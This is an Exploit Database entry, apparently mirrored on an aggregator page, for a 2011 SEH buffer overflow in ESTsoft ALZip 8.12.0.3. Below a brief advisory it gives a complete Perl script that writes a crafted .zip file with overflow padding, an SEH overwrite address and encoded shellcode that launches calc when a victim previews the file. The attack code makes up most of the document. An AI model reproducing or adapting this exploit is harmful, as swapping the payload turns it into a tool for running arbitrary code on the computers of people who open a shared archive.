ESTsoft ALZip 8.12.0.3 – ‘.zip’ Remote Buffer Overflow

• Exploit Database
• 50 阅读

• 作者： C4SS!0 G0M3S
  日期： 2011-01-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35241/

• source: https://www.securityfocus.com/bid/45917/info
  
  ESTsoft ALZip is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
  
  Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
  
  ESTsoft ALZip 8.12.0.3 is vulnerable; other versions may also be affected. 
  
  #
  #
  #[+]Exploit Title: Exploit Buffer Overflow AlZip(SEH)
  #[+]Date: 01\19\2010
  #[+]Author: C4SS!0 G0M3S
  #[+]Software Link: http://www.altools.com/al/downloads/alzip/ALZip812.exe
  #[+]Version: 8.12.0.3
  #[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN
  #[+]CVE: N/A
  #
  #
  #
  #Note:Exploit for the work you have to run program in DOS
  #
  #C: \> Exploit.pl exploit.zip
  #
  #In this case my Exploit Creates the zip file exploit.zip
  #In the open ALZip Click "OPEN"pass the mouse over the specially crafted file and 
  #keeps the mouse on top of the file does not click on it and wait then BOOM APPEARS THE CALC
  #
  #Watch This Video: http://www.youtube.com/watch?v=PTV_tZinI6w
  #
  #
  ########## #################### ## ###############
  # ############################## ## ## ##
  # ## ## #### #### ## ##
  # ######## #### ## ##
  # ## ########## ######## ########## ## ##
  # ###### #### ## ##
  # ###### #### ## ##
  # ############################# ## ##
  # ###########################\/ ###############
  # 
  #
  #
  #
  
  use strict;
  use warnings;
  
  system("cls");
  system("color 4f");
  sub USAGE
  {
  print q
  {
   #############################################
   # #
   #Exploit Buffer Overflow AlZip(SEH) # 
   #C4SS!0 G0M3S #
   #Louredo_@hotmail.com #
   #Site http://www.invasao.com.br #
   #	 #
   #############################################
  
  [+]Exploit: Exploit Buffer Overflow AlZip(SEH)	
  [+]Date: 01\\19\\2010
  [+]Auhtor: C4SS!0 G0M3S
  [+]Home: http://www.invasao.com.br
  [+]E-mail: Louredo_@hotmail.com
  [+]Version: 8.12.0.3
  [+]Impact: Critical
  
  Note:
  Look Comments Above for More Information as the Exploit Works
  
  };
  }
  if($#ARGV!=0)
  {
  USAGE;
  print "[-]Usage: $0 <File_Name>\n";
  print "[-]Exemple: $0 Exploit.zip\n";
  
  exit(0);
  }
  my $sploitfile=$ARGV[0];
  my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
  "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
  "\x00\x00\x00\x00\x00\x00\x00\x00" .
  "\xe4\x0f" .
  "\x00\x00\x00";
  
  my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
  "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  "\xe4\x0f".
  "\x00\x00\x00\x00\x00\x00\x01\x00".
  "\x24\x00\x00\x00\x00\x00\x00\x00";
  
  my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
  "\x00\x01\x00\x01\x00".
  "\x12\x10\x00\x00".
  "\x02\x10\x00\x00".
  "\x00\x00";
  USAGE;
  print "[*]Identifying the Length Shellcode\n";
  sleep(1);
  my $shellcode = 
  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
  "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
  "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
  "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
  "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
  "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .#Shellcode WINEXEC CALC
  "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
  "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
  "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
  "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
  "\x7f\xe8\x7b\xca";
  
  
  my $payload = "A" x 1060;
  $payload .= "\xeb\x08\x90\x90";
  $payload .= pack(&#039;V&#039;,0x61309258);
  $payload .= "\x90" x 10;
  $payload .= $shellcode;
  
  
  print "[*]The length Shellcode:".length($shellcode)."\n";
  sleep(1);
  $payload .= "\x42" x (4064 - length($payload));
  
  
  $payload=$payload.".txt";
  
  my $evilzip = $ldf_header.$payload.
  $cdf_header.$payload.
  			$eofcdf_header;
  
  print "[*]Creating the File $ARGV[0]\n";
  sleep(1);
  open(FILE,">$sploitfile") or die("ERROR:$!");
  print FILE $evilzip;
  close(FILE);
  print "[*]The File $ARGV[0] was Successfully Created\n";
  sleep(1);